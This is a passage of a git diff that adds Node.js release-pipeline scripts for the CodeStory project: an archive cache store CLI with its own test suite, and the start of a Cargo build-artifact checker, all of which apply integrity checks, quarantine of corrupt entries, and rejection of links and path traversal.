(!/^[1-9][0-9]*$/u.test(value)) { + fail(`${label} must be a positive integer`); + } + return requireBytes(Number.parseInt(value, 10), label); +} + +function parseCompanion(value) { + const parts = value.split("|"); + if (parts.length !== 4) { + fail("--companion must use role|relative_path|bytes|sha256"); + } + return { + role: parts[0], + relative_path: parts[1], + bytes: parsePositiveInteger(parts[2], "companion bytes"), + sha256: parts[3], + }; +} + +function exactFlags(values, allowed) { + const actual = [...values.keys()].sort(); + const expected = [...allowed].sort(); + if (canonicalJson(actual) !== canonicalJson(expected)) { + fail("candidate archive store arguments changed"); + } +} + +function recordFromArguments(values) { + if (values.has("--record")) { + return readCandidateArchiveRecord(one(values, "--record")); + } + const archiveName = one(values, "--archive-name"); + return buildCandidateArchiveRecord({ + repository: one(values, "--repository"), + sourceSha: one(values, "--source-sha"), + sourceTree: one(values, "--source-tree"), + target: one(values, "--target"), + archive: { + name: archiveName, + relative_path: archiveName, + bytes: parsePositiveInteger( + one(values, "--archive-bytes"), + "archive bytes", + ), + sha256: one(values, "--archive-sha256"), + }, + companions: (values.get("--companion") ?? []).map(parseCompanion), + }); +} + +function usage() { + return [ + "Usage:", + " candidate-archive-store.mjs record --output JSON --repository OWNER/REPO --source-sha SHA --source-tree TREE --target TARGET --archive-name NAME --archive-bytes BYTES --archive-sha256 SHA256 --companion 'role|relative_path|bytes|sha256'...", + " candidate-archive-store.mjs restore --record AUTHENTICATED_JSON --store-root DIR --output-root DIR --output-dir DIR", + " candidate-archive-store.mjs admit --record AUTHENTICATED_JSON --input-root DIR --store-root DIR --output-root DIR --output-dir DIR", + "", + "Explicit record fields are retained for bounded tooling and tests:", + " candidate-archive-store.mjs restore --store-root DIR --output-root DIR --output-dir DIR --repository OWNER/REPO --source-sha SHA --source-tree TREE --target TARGET --archive-name NAME --archive-bytes BYTES --archive-sha256 SHA256 [--companion 'role|relative_path|bytes|sha256']...", + " candidate-archive-store.mjs admit --input-root DIR --store-root DIR --output-root DIR --output-dir DIR --repository OWNER/REPO --source-sha SHA --source-tree TREE --target TARGET --archive-name NAME --archive-bytes BYTES --archive-sha256 SHA256 [--companion 'role|relative_path|bytes|sha256']...", + ].join("\n"); +} + +function main(argv) { + const { command, values } = parseArguments(argv); + const operational = [ + "--output-dir", + "--output-root", + "--store-root", + ]; + const recordFields = [ + "--archive-bytes", + "--archive-name", + "--archive-sha256", + "--repository", + "--source-sha", + "--source-tree", + "--target", + ]; + const usesRecord = values.has("--record"); + if ( + usesRecord + && [...recordFields, "--companion"].some((flag) => values.has(flag)) + ) { + fail("--record cannot be combined with explicit record fields"); + } + const allowed = usesRecord + ? [...operational, "--record"] + : [ + ...operational, + ...recordFields, + ...(values.has("--companion") ? ["--companion"] : []), + ]; + if (command === "record") { + if (usesRecord) { + fail("record production requires explicit authenticated fields"); + } + exactFlags(values, [ + ...recordFields, + "--output", + ...(values.has("--companion") ? ["--companion"] : []), + ]); + const written = writeCandidateArchiveRecord( + one(values, "--output"), + recordFromArguments(values), + ); + process.stdout.write(`${JSON.stringify({ record: written })}\n`); + return; + } + if (command === "restore") { + exactFlags(values, allowed); + } else if (command === "admit") { + exactFlags(values, [...allowed, "--input-root"]); + } else { + fail(usage()); + } + const commonArguments = { + outputDir: one(values, "--output-dir"), + outputRoot: one(values, "--output-root"), + record: recordFromArguments(values), + storeRoot: one(values, "--store-root"), + }; + const result = command === "restore" + ? restoreCandidateArchive(commonArguments) + : admitCandidateArchive({ + ...commonArguments, + inputRoot: one(values, "--input-root"), + }); + if (result.rejectedCorrupt) { + process.stderr.write( + `candidate archive cache rejected corrupt entry ${result.key}: ` + + `${result.rejection}; quarantined at ${result.rejectedEntry}\n`, + ); + } + process.stdout.write(`${JSON.stringify({ + admitted: result.admitted ?? false, + archive: result.archive ?? null, + companions: result.companions ?? {}, + hit: result.hit, + key: result.key, + output_dir: result.outputDir ?? null, + rejected_corrupt: result.rejectedCorrupt ?? false, + rejected_entry: result.rejectedEntry ?? null, + })}\n`); +} + +const isMain = process.argv[1] + && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url); + +if (isMain) { + try { + main(process.argv.slice(2)); + } catch (error) { + process.stderr.write(`${error.message}\n`); + process.exitCode = 1; + } +} diff --git a/.github/scripts/candidate-archive-store.test.mjs b/.github/scripts/candidate-archive-store.test.mjs new file mode 100644 index 000000000..277c853cc --- /dev/null +++ b/.github/scripts/candidate-archive-store.test.mjs @@ -0,0 +1,939 @@ +import assert from "node:assert/strict"; +import { + linkSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + realpathSync, + rmSync, + statSync, + symlinkSync, + truncateSync, + writeFileSync, +} from "node:fs"; +import { createHash } from "node:crypto"; +import os from "node:os"; +import path from "node:path"; +import { spawnSync } from "node:child_process"; +import test from "node:test"; +import { fileURLToPath, pathToFileURL } from "node:url"; + +import { + admitCandidateArchive, + buildCandidateArchiveRecord, + candidateArchiveStoreKey, + readCandidateArchiveRecord, + restoreCandidateArchive, + validateCandidateArchiveRecord, + writeCandidateArchiveRecord, +} from "./candidate-archive-store.mjs"; + +const SCRIPT = fileURLToPath( + new URL("./candidate-archive-store.mjs", import.meta.url), +); +const REPOSITORY = "TheGreenCedar/CodeStory"; +const SHA_A = "a".repeat(40); +const SHA_B = "b".repeat(40); +const TREE_A = "1".repeat(40); +const TREE_B = "2".repeat(40); +const TARGET = "windows-x64"; +const ARCHIVE_NAME = "codestory-cli-v0.16.3-windows-x64.zip"; + +function sha256(bytes) { + return createHash("sha256").update(bytes).digest("hex"); +} + +function descriptor(role, relativePath, bytes) { + return { + role, + relative_path: relativePath, + bytes: bytes.length, + sha256: sha256(bytes), + }; +} + +function fixtureRecord({ + sourceSha = SHA_A, + sourceTree = TREE_A, + archiveBytes = Buffer.from("exact Windows archive bytes"), +} = {}) { + const archiveDigest = sha256(archiveBytes); + const companions = [ + descriptor( + "archive_checksum", + `${ARCHIVE_NAME}.sha256`, + Buffer.from(`${archiveDigest} ${ARCHIVE_NAME}\n`), + ), + descriptor( + "checksum_manifest", + "SHA256SUMS.txt", + Buffer.from(`${archiveDigest} ${ARCHIVE_NAME}\n`), + ), + ]; + return buildCandidateArchiveRecord({ + repository: REPOSITORY, + sourceSha, + sourceTree, + target: TARGET, + archive: { + name: ARCHIVE_NAME, + relative_path: ARCHIVE_NAME, + bytes: archiveBytes.length, + sha256: archiveDigest, + }, + companions, + }); +} + +function payloads(record, archiveBytes = Buffer.from("exact Windows archive bytes")) { + const values = new Map([[record.archive.relative_path, archiveBytes]]); + for (const companion of record.companions) { + if (companion.role === "archive_checksum" || companion.role === "checksum_manifest") { + values.set( + companion.relative_path, + Buffer.from(`${record.archive.sha256} ${record.archive.name}\n`), + ); + } + } + return values; +} + +function writePayloadTree(root, record, values = payloads(record)) { + for (const [relative, bytes] of values) { + const file = path.join(root, ...relative.split("/")); + mkdirSync(path.dirname(file), { recursive: true }); + writeFileSync(file, bytes, { flag: "wx" }); + } +} + +function createFixture(options = {}) { + const temporaryRoot = realpathSync.native(os.tmpdir()); + const root = mkdtempSync(path.join(temporaryRoot, "codestory-candidate-store-")); + const inputRoot = path.join(root, "input"); + const outputRoot = path.join(root, "outputs"); + const storeRoot = path.join(root, "store"); + mkdirSync(inputRoot); + mkdirSync(outputRoot); + mkdirSync(storeRoot); + const record = fixtureRecord(options); + writePayloadTree(inputRoot, record, payloads(record, options.archiveBytes)); + return { + inputRoot, + outputRoot, + record, + root, + storeRoot, + }; +} + +function cleanup(fixture) { + rmSync(fixture.root, { force: true, recursive: true }); +} + +function outputDir(fixture, name = "release-dist") { + return path.join(fixture.outputRoot, name); +} + +function entryDir(fixture, record = fixture.record) { + return path.join( + fixture.storeRoot, + "objects", + "v1", + ...candidateArchiveStoreKey(record).split("/"), + ); +} + +function storedRecordPath(fixture, record = fixture.record) { + return path.join(entryDir(fixture, record), "candidate-archive-record.json"); +} + +function storedPayloadPath(fixture, relativePath, record = fixture.record) { + return path.join(entryDir(fixture, record), "payload", ...relativePath.split("/")); +} + +function clone(value) { + return JSON.parse(JSON.stringify(value)); +} + +function admit(fixture, name = "release-dist") { + return admitCandidateArchive({ + inputRoot: fixture.inputRoot, + outputDir: outputDir(fixture, name), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); +} + +function cliArguments(fixture, command, name, { recordFile } = {}) { + const arguments_ = [ + SCRIPT, + command, + "--store-root", + fixture.storeRoot, + "--output-root", + fixture.outputRoot, + "--output-dir", + outputDir(fixture, name), + ]; + if (command === "admit") { + arguments_.push("--input-root", fixture.inputRoot); + } + if (recordFile) { + arguments_.push("--record", recordFile); + } else { + arguments_.push( + "--repository", + fixture.record.repository, + "--source-sha", + fixture.record.source.commit, + "--source-tree", + fixture.record.source.tree, + "--target", + fixture.record.target, + "--archive-name", + fixture.record.archive.name, + "--archive-bytes", + String(fixture.record.archive.bytes), + "--archive-sha256", + fixture.record.archive.sha256, + ); + for (const companion of fixture.record.companions) { + arguments_.push( + "--companion", + [ + companion.role, + companion.relative_path, + companion.bytes, + companion.sha256, + ].join("|"), + ); + } + } + return arguments_; +} + +function writeAuthenticatedRecord(fixture, record = fixture.record, name = "record.json") { + const file = path.join(fixture.root, name); + writeFileSync(file, `${JSON.stringify(record, null, 2)}\n`, { flag: "wx" }); + return file; +} + +test("the canonical store key contains only source SHA, target, and archive digest", () => { + const record = fixtureRecord(); + assert.equal( + candidateArchiveStoreKey(record), + `${SHA_A}/${TARGET}/${record.archive.sha256}`, + ); + const nextSource = fixtureRecord({ sourceSha: SHA_B, sourceTree: TREE_B }); + assert.notEqual(candidateArchiveStoreKey(nextSource), candidateArchiveStoreKey(record)); +}); + +test("restore reports an explicit miss without publishing output", () => { + const fixture = createFixture(); + try { + const output = outputDir(fixture); + const result = restoreCandidateArchive({ + outputDir: output, + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); + assert.equal(result.hit, false); + assert.equal(result.key, candidateArchiveStoreKey(fixture.record)); + assert.equal(lstatSync(fixture.storeRoot).isDirectory(), true); + assert.equal(statExists(output), false); + } finally { + cleanup(fixture); + } +}); + +test("admission and a later hit materialize the complete exact payload as fresh copies", () => { + const fixture = createFixture(); + try { + const admitted = admit(fixture, "first"); + assert.equal(admitted.admitted, true); + assert.equal(admitted.hit, false); + assert.equal( + readFileSync(admitted.archive, "utf8"), + "exact Windows archive bytes", + ); + assert.deepEqual( + Object.keys(admitted.companions).sort(), + fixture.record.companions.map((entry) => entry.role).sort(), + ); + + const restored = restoreCandidateArchive({ + outputDir: outputDir(fixture, "second"), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); + assert.equal(restored.hit, true); + assert.equal(statSync(restored.archive).nlink, 1); + assert.equal( + statSync(storedPayloadPath(fixture, fixture.record.archive.relative_path)).nlink, + 1, + ); + assert.notEqual(restored.archive, admitted.archive); + assert.notEqual( + restored.archive, + storedPayloadPath(fixture, fixture.record.archive.relative_path), + ); + for (const companion of fixture.record.companions) { + const restoredFile = restored.companions[companion.role]; + assert.equal(statSync(restoredFile).nlink, 1); + assert.notEqual(restoredFile, storedPayloadPath(fixture, companion.relative_path)); + } + } finally { + cleanup(fixture); + } +}); + +test("admission rejects sequential publication beneath the final store key", async () => { + const fixture = createFixture(); + try { + const source = readFileSync(SCRIPT, "utf8"); + const atomicPublication = " renameSync(temporary, paths.entry);"; + assert.equal( + source.split(atomicPublication).length - 1, + 1, + "atomic store publication must have one mutation target", + ); + const sequentialPublication = [ + " mkdirSync(paths.entry, { mode: 0o700 });", + " renameSync(temporaryPayload, paths.payload);", + " renameSync(path.join(temporary, RECORD_FILE), paths.recordFile);", + " rmSync(temporary, { recursive: true });", + ].join("\n"); + const mutantFile = path.join(fixture.root, "candidate-archive-store-mutant.mjs"); + writeFileSync( + mutantFile, + source.replace(atomicPublication, sequentialPublication), + { flag: "wx" }, + ); + const mutant = await import(pathToFileURL(mutantFile).href); + assert.throws( + () => mutant.admitCandidateArchive({ + inputRoot: fixture.inputRoot, + outputDir: outputDir(fixture), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }), + /not published by atomic directory rename/u, + ); + assert.equal(statExists(outputDir(fixture)), false); + } finally { + cleanup(fixture); + } +}); + +test("the public checksum companion pair is mandatory", () => { + const fixture = createFixture(); + try { + const result = admit(fixture); + assert.equal(result.admitted, true); + assert.deepEqual( + Object.keys(result.companions).sort(), + ["archive_checksum", "checksum_manifest"], + ); + } finally { + cleanup(fixture); + } +}); + +test("an exact archive digest is never reused across source SHAs", () => { + const fixture = createFixture(); + try { + admit(fixture, "source-a"); + const sourceB = fixtureRecord({ sourceSha: SHA_B, sourceTree: TREE_B }); + const miss = restoreCandidateArchive({ + outputDir: outputDir(fixture, "source-b-miss"), + outputRoot: fixture.outputRoot, + record: sourceB, + storeRoot: fixture.storeRoot, + }); + assert.equal(miss.hit, false); + assert.notEqual(candidateArchiveStoreKey(sourceB), candidateArchiveStoreKey(fixture.record)); + + const admittedB = admitCandidateArchive({ + inputRoot: fixture.inputRoot, + outputDir: outputDir(fixture, "source-b"), + outputRoot: fixture.outputRoot, + record: sourceB, + storeRoot: fixture.storeRoot, + }); + assert.equal(admittedB.admitted, true); + assert.equal(statExists(entryDir(fixture, fixture.record)), true); + assert.equal(statExists(entryDir(fixture, sourceB)), true); + } finally { + cleanup(fixture); + } +}); + +test("stored record omissions, substitutions, and extra keys never become hits", async (t) => { + const mutations = [ + ["missing repository", (record) => { delete record.repository; }], + ["missing source tree", (record) => { delete record.source.tree; }], + ["missing archive digest", (record) => { delete record.archive.sha256; }], + ["source substitution", (record) => { record.source.commit = SHA_B; }], + ["tree substitution", (record) => { record.source.tree = TREE_B; }], + ["target substitution", (record) => { record.target = "linux-x64"; }], + ["archive name drift", (record) => { record.archive.name = "wrong.zip"; }], + ["schema substitution", (record) => { record.schema = "codestory-candidate-archive-store/v2"; }], + ["extra key", (record) => { record.untrusted = true; }], + ]; + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const fixture = createFixture(); + try { + admit(fixture, "initial"); + const stored = JSON.parse(readFileSync(storedRecordPath(fixture), "utf8")); + mutate(stored); + writeFileSync(storedRecordPath(fixture), `${JSON.stringify(stored)}\n`); + const originalEntry = entryDir(fixture); + const result = restoreCandidateArchive({ + outputDir: outputDir(fixture, "mutated"), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); + assert.equal(result.hit, false); + assert.equal(result.rejectedCorrupt, true); + assert.match(result.rejection, /candidate archive/u); + assert.equal(statExists(originalEntry), false); + assert.equal(statExists(result.rejectedEntry), true); + assert.equal(statExists(outputDir(fixture, "mutated")), false); + } finally { + cleanup(fixture); + } + }); + } +}); + +test("owned malformed and partial store entries are quarantined as authenticated misses", async (t) => { + await t.test("malformed record", () => { + const fixture = createFixture(); + try { + admit(fixture, "initial"); + writeFileSync(storedRecordPath(fixture), "{broken"); + const originalEntry = entryDir(fixture); + const result = restoreCandidateArchive({ + outputDir: outputDir(fixture, "malformed"), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); + assert.equal(result.hit, false); + assert.equal(result.rejectedCorrupt, true); + assert.match(result.rejection, /not valid JSON/u); + assert.equal(statExists(originalEntry), false); + assert.equal(statExists(result.rejectedEntry), true); + } finally { + cleanup(fixture); + } + }); + + await t.test("published directory missing its record", () => { + const fixture = createFixture(); + try { + const entry = entryDir(fixture); + mkdirSync(path.join(entry, "payload"), { recursive: true }); + writeFileSync( + path.join(entry, "payload", ARCHIVE_NAME), + "partial archive", + ); + const result = restoreCandidateArchive({ + outputDir: outputDir(fixture, "partial"), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); + assert.equal(result.hit, false); + assert.equal(result.rejectedCorrupt, true); + assert.match(result.rejection, /unexpected files/u); + assert.equal(statExists(entry), false); + assert.equal(statExists(result.rejectedEntry), true); + assert.equal(statExists(outputDir(fixture, "partial")), false); + } finally { + cleanup(fixture); + } + }); + + await t.test("orphaned temporary sibling is not a cache hit", () => { + const fixture = createFixture(); + try { + const entry = entryDir(fixture); + mkdirSync(path.dirname(entry), { recursive: true }); + mkdirSync(path.join(path.dirname(entry), `.${path.basename(entry)}.partial-orphan`)); + const result = restoreCandidateArchive({ + outputDir: outputDir(fixture, "orphan"), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); + assert.equal(result.hit, false); + assert.equal(statExists(outputDir(fixture, "orphan")), false); + } finally { + cleanup(fixture); + } + }); +}); + +test("every retained payload is rehashed and owned corruption becomes a miss", async (t) => { + const mutations = [ + ["truncated archive", (fixture) => { + truncateSync( + storedPayloadPath(fixture, fixture.record.archive.relative_path), + 5, + ); + }], + ["mutated checksum", (fixture) => { + const companion = fixture.record.companions.find( + (entry) => entry.role === "checksum_manifest", + ); + writeFileSync(storedPayloadPath(fixture, companion.relative_path), "wrong\n"); + }], + ["missing archive checksum", (fixture) => { + const companion = fixture.record.companions.find( + (entry) => entry.role === "archive_checksum", + ); + rmSync(storedPayloadPath(fixture, companion.relative_path)); + }], + ["extra companion", (fixture) => { + writeFileSync( + path.join(entryDir(fixture), "payload", "unlisted.bin"), + "unlisted", + ); + }], + ]; + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const fixture = createFixture(); + try { + admit(fixture, "initial"); + mutate(fixture); + const originalEntry = entryDir(fixture); + const result = restoreCandidateArchive({ + outputDir: outputDir(fixture, "mutated"), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }); + assert.equal(result.hit, false); + assert.equal(result.rejectedCorrupt, true); + assert.match(result.rejection, /candidate archive/u); + assert.equal(statExists(originalEntry), false); + assert.equal(statExists(result.rejectedEntry), true); + assert.equal(statExists(outputDir(fixture, "mutated")), false); + } finally { + cleanup(fixture); + } + }); + } +}); + +test("unowned links in a corrupt store entry fail closed without quarantine", async (t) => { + const mutations = [ + ["hardlinked retained archive", (fixture) => { + linkSync( + storedPayloadPath(fixture, fixture.record.archive.relative_path), + path.join(fixture.root, "retained-archive-link"), + ); + }], + ["hardlinked retained record", (fixture) => { + linkSync( + storedRecordPath(fixture), + path.join(fixture.root, "retained-record-link"), + ); + }], + ["symlinked retained payload", (fixture) => { + const archive = storedPayloadPath( + fixture, + fixture.record.archive.relative_path, + ); + rmSync(archive); + symlinkSync( + path.join(fixture.root, "outside-archive"), + archive, + ); + }], + ]; + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const fixture = createFixture(); + try { + admit(fixture, "initial"); + writeFileSync(path.join(fixture.root, "outside-archive"), "outside"); + mutate(fixture); + const originalEntry = entryDir(fixture); + assert.throws( + () => restoreCandidateArchive({ + outputDir: outputDir(fixture, "unowned"), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }), + /unowned file|symbolic link or reparse point/u, + ); + assert.equal(statExists(originalEntry), true); + assert.equal(statExists(outputDir(fixture, "unowned")), false); + } finally { + cleanup(fixture); + } + }); + } +}); + +test("admission rejects missing, mutated, extra, and hardlinked input payloads", async (t) => { + const mutations = [ + ["missing companion", (fixture) => { + const companion = fixture.record.companions.find( + (entry) => entry.role === "checksum_manifest", + ); + rmSync(path.join(fixture.inputRoot, ...companion.relative_path.split("/"))); + }], + ["mutated companion", (fixture) => { + const companion = fixture.record.companions.find( + (entry) => entry.role === "archive_checksum", + ); + writeFileSync( + path.join(fixture.inputRoot, ...companion.relative_path.split("/")), + "wrong driver", + ); + }], + ["extra file", (fixture) => { + writeFileSync(path.join(fixture.inputRoot, "untrusted.txt"), "extra"); + }], + ["extra directory", (fixture) => { + mkdirSync(path.join(fixture.inputRoot, "untrusted")); + }], + ["hardlinked companion", (fixture) => { + const companion = fixture.record.companions.find( + (entry) => entry.role === "archive_checksum", + ); + const checksum = path.join( + fixture.inputRoot, + ...companion.relative_path.split("/"), + ); + linkSync(checksum, path.join(fixture.root, "second-checksum-link")); + }], + ]; + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const fixture = createFixture(); + try { + mutate(fixture); + assert.throws(() => admit(fixture), /candidate archive|candidate payload/u); + assert.equal(statExists(entryDir(fixture)), false); + assert.equal(statExists(outputDir(fixture)), false); + } finally { + cleanup(fixture); + } + }); + } +}); + +test("symlinked input and traversal-shaped record paths are rejected", async (t) => { + await t.test("symlinked input root", (context) => { + const fixture = createFixture(); + try { + const linked = path.join(fixture.root, "linked-input"); + try { + symlinkSync(fixture.inputRoot, linked, "dir"); + } catch (error) { + if (["EPERM", "EACCES"].includes(error?.code)) { + context.skip("host cannot create a directory symlink"); + return; + } + throw error; + } + assert.throws( + () => admitCandidateArchive({ + inputRoot: linked, + outputDir: outputDir(fixture), + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }), + /real directory|reparse ancestry/u, + ); + } finally { + cleanup(fixture); + } + }); + + await t.test("symlinked payload", (context) => { + const fixture = createFixture(); + try { + const companion = fixture.record.companions.find( + (entry) => entry.role === "archive_checksum", + ); + const checksum = path.join( + fixture.inputRoot, + ...companion.relative_path.split("/"), + ); + rmSync(checksum); + try { + symlinkSync(path.join(fixture.root, "outside-checksum"), checksum, "file"); + } catch (error) { + if (["EPERM", "EACCES"].includes(error?.code)) { + context.skip("host cannot create a file symlink"); + return; + } + throw error; + } + assert.throws(() => admit(fixture), /symbolic links|reparse points/u); + } finally { + cleanup(fixture); + } + }); + + await t.test("traversal companion", () => { + const record = clone(fixtureRecord()); + const companion = record.companions.find( + (entry) => entry.role === "checksum_manifest", + ); + companion.relative_path = "../SHA256SUMS.txt"; + assert.throws( + () => validateCandidateArchiveRecord(record), + /normalized relative POSIX path/u, + ); + }); + + await t.test("unsupported arbitrary companion", () => { + const record = fixtureRecord(); + assert.throws( + () => buildCandidateArchiveRecord({ + archive: record.archive, + companions: [ + ...record.companions, + descriptor("arbitrary", "arbitrary.bin", Buffer.from("wrong")), + ], + repository: record.repository, + sourceSha: record.source.commit, + sourceTree: record.source.tree, + target: record.target, + }), + /roles must be unique and supported/u, + ); + }); +}); + +test("qualification driver payloads cannot enter the public candidate record", () => { + const record = fixtureRecord(); + assert.throws( + () => buildCandidateArchiveRecord({ + archive: record.archive, + companions: [ + ...record.companions, + descriptor( + "qualification_driver", + "qualification-driver/windows-x64/driver.exe", + Buffer.from("private qualification driver"), + ), + ], + repository: record.repository, + sourceSha: record.source.commit, + sourceTree: record.source.tree, + target: record.target, + }), + /roles must be unique and supported/u, + ); +}); + +test("the per-candidate checksum manifest cannot drift from the archive checksum", () => { + const record = clone(fixtureRecord()); + const manifest = record.companions.find( + (entry) => entry.role === "checksum_manifest", + ); + manifest.sha256 = "f".repeat(64); + assert.throws( + () => validateCandidateArchiveRecord(record), + /same checksum line/u, + ); +}); + +test("authenticated record files require the exact schema and a real singly linked path", async (t) => { + await t.test("canonical record", () => { + const fixture = createFixture(); + try { + const file = writeAuthenticatedRecord(fixture); + assert.deepEqual(readCandidateArchiveRecord(file), fixture.record); + } finally { + cleanup(fixture); + } + }); + + await t.test("extra record field", () => { + const fixture = createFixture(); + try { + const mutated = clone(fixture.record); + mutated.untrusted = true; + const file = writeAuthenticatedRecord(fixture, mutated); + assert.throws( + () => readCandidateArchiveRecord(file), + /record keys changed/u, + ); + } finally { + cleanup(fixture); + } + }); + + await t.test("hardlinked record", () => { + const fixture = createFixture(); + try { + const file = writeAuthenticatedRecord(fixture); + linkSync(file, path.join(fixture.root, "record-link.json")); + assert.throws( + () => readCandidateArchiveRecord(file), + /singly linked/u, + ); + } finally { + cleanup(fixture); + } + }); + + await t.test("symlinked record", (context) => { + const fixture = createFixture(); + try { + const file = writeAuthenticatedRecord(fixture); + const linked = path.join(fixture.root, "linked-record.json"); + try { + symlinkSync(file, linked, "file"); + } catch (error) { + if (["EPERM", "EACCES"].includes(error?.code)) { + context.skip("host cannot create a file symlink"); + return; + } + throw error; + } + assert.throws( + () => readCandidateArchiveRecord(linked), + /symbolic-link or reparse ancestry/u, + ); + } finally { + cleanup(fixture); + } + }); +}); + +test("record producer writes one canonical public record without overwriting", () => { + const fixture = createFixture(); + try { + const directory = path.join(fixture.root, "record-output"); + mkdirSync(directory); + const file = path.join(directory, "candidate-archive-record.json"); + assert.equal(writeCandidateArchiveRecord(file, fixture.record), file); + assert.deepEqual(readCandidateArchiveRecord(file), fixture.record); + assert.throws( + () => writeCandidateArchiveRecord(file, fixture.record), + /EEXIST|exist/u, + ); + } finally { + cleanup(fixture); + } +}); + +test("materialization refuses to overwrite an existing output directory", () => { + const fixture = createFixture(); + try { + admit(fixture, "initial"); + const destination = outputDir(fixture, "occupied"); + mkdirSync(destination); + writeFileSync(path.join(destination, "sentinel"), "keep"); + assert.throws( + () => restoreCandidateArchive({ + outputDir: destination, + outputRoot: fixture.outputRoot, + record: fixture.record, + storeRoot: fixture.storeRoot, + }), + /must not already exist/u, + ); + assert.equal(readFileSync(path.join(destination, "sentinel"), "utf8"), "keep"); + } finally { + cleanup(fixture); + } +}); + +test("the executable CLI reports a miss without network or input flags", () => { + const fixture = createFixture(); + try { + const result = spawnSync(process.execPath, cliArguments(fixture, "restore", "miss"), { + encoding: "utf8", + env: {}, + }); + assert.equal(result.status, 0, result.stderr); + const output = JSON.parse(result.stdout); + assert.equal(output.hit, false); + assert.equal(output.archive, null); + assert.equal(output.key, candidateArchiveStoreKey(fixture.record)); + } finally { + cleanup(fixture); + } +}); + +test("the executable CLI admits and materializes the exact companion set", () => { + const fixture = createFixture(); + try { + const recordFile = writeAuthenticatedRecord(fixture); + const result = spawnSync( + process.execPath, + cliArguments(fixture, "admit", "cli-admit", { recordFile }), + { + encoding: "utf8", + env: {}, + }, + ); + assert.equal(result.status, 0, result.stderr); + const output = JSON.parse(result.stdout); + assert.equal(output.admitted, true); + assert.equal(output.hit, false); + assert.equal(readFileSync(output.archive, "utf8"), "exact Windows archive bytes"); + assert.deepEqual( + Object.keys(output.companions).sort(), + fixture.record.companions.map((entry) => entry.role).sort(), + ); + } finally { + cleanup(fixture); + } +}); + +test("the executable CLI rejects record files combined with substitute fields", () => { + const fixture = createFixture(); + try { + const recordFile = writeAuthenticatedRecord(fixture); + const arguments_ = cliArguments( + fixture, + "restore", + "record-conflict", + { recordFile }, + ); + arguments_.push("--source-sha", SHA_B); + const result = spawnSync(process.execPath, arguments_, { + encoding: "utf8", + env: {}, + }); + assert.notEqual(result.status, 0); + assert.match( + result.stderr, + /cannot be combined with explicit record fields/u, + ); + assert.equal(statExists(outputDir(fixture, "record-conflict")), false); + } finally { + cleanup(fixture); + } +}); + +function statExists(file) { + try { + lstatSync(file); + return true; + } catch (error) { + if (error?.code === "ENOENT") return false; + throw error; + } +} diff --git a/.github/scripts/cargo-build-artifacts.mjs b/.github/scripts/cargo-build-artifacts.mjs new file mode 100644 index 000000000..49f587456 --- /dev/null +++ b/.github/scripts/cargo-build-artifacts.mjs @@ -0,0 +1,961 @@ +#!/usr/bin/env node + +import crypto from "node:crypto"; +import fs from "node:fs"; +import path from "node:path"; +import process from "node:process"; +import { fileURLToPath } from "node:url"; + +const SCHEMA = "codestory.cargo-build-artifacts/v2"; +const SHA40 = /^[0-9a-f]{40}$/u; +const SHA256 = /^[0-9a-f]{64}$/u; +const DECIMAL_BIGINT = /^(?:0|[1-9][0-9]*)$/u; +const ALIAS = /^[a-z][a-z0-9_]*$/u; +const WINDOWS_TARGET = "x86_64-pc-windows-msvc"; +const RELEASE_OPT_LEVELS = new Set(["1", "2", "3", "s", "z"]); +const SHIPPING_BINARIES = [ + { + packageName: "codestory-cli", + targetName: "codestory-cli", + }, + { + packageName: "codestory-cli", + targetName: "codestory-cli-runtime", + }, +]; +const FORBIDDEN_SHIPPING_FEATURES = new Map([ + ["codestory-retrieval", new Set(["test-support"])], + ["codestory-runtime", new Set(["benchmark-support", "test-support"])], +]); +const ARTIFACT_CONTRACT = { + cli: { + packageName: "codestory-cli", + kind: "bin", + targetName: "codestory-cli", + }, + runtime: { + packageName: "codestory-cli", + kind: "bin", + targetName: "codestory-cli-runtime", + }, + qualification_driver: { + packageName: "codestory-bench", + kind: "bin", + targetName: "codestory_embedding_qualification", + }, +}; +const REQUIRED_ALIASES = ["cli", "runtime"]; + +function fail(message) { + throw new Error(message); +} + +function exactKeys(value, keys, label) { + if (value === null || typeof value !== "object" || Array.isArray(value)) { + fail(`${label} must be an object`); + } + const actual = Object.keys(value).sort(); + const expected = [...keys].sort(); + if (JSON.stringify(actual) !== JSON.stringify(expected)) { + fail(`${label} keys changed`); + } +} + +function requireSha(value, label) { + if (!SHA40.test(value)) { + fail(`${label} must be a full lowercase Git digest`); + } +} + +function requireWindowsTarget(value) { + if (value !== WINDOWS_TARGET) { + fail(`unsupported Cargo artifact target ${value}`); + } +} + +function packageNameFromId(packageId) { + if (typeof packageId !== "string") { + fail("Cargo compiler artifact package_id must be a string"); + } + const fragment = packageId.lastIndexOf("#"); + if (fragment >= 0) { + const packageAndVersion = packageId.slice(fragment + 1); + const separator = packageAndVersion.lastIndexOf("@"); + if (separator > 0) return packageAndVersion.slice(0, separator); + } + const legacy = /^([^\s]+)\s+\d+\.\d+\.\d+(?:[-+][^\s]+)?(?:\s|$)/u.exec(packageId); + if (legacy) return legacy[1]; + if (packageId.startsWith("path+file:")) { + const source = packageId.slice("path+".length).split("#", 1)[0]; + try { + const directory = path.posix.basename(new URL(source).pathname); + if (directory !== "") return decodeURIComponent(directory); + } catch { + // Fall through to the manifest-backed parser below. + } + } + return null; +} + +function packageNameFromArtifact(message) { + const fromId = packageNameFromId(message.package_id); + if 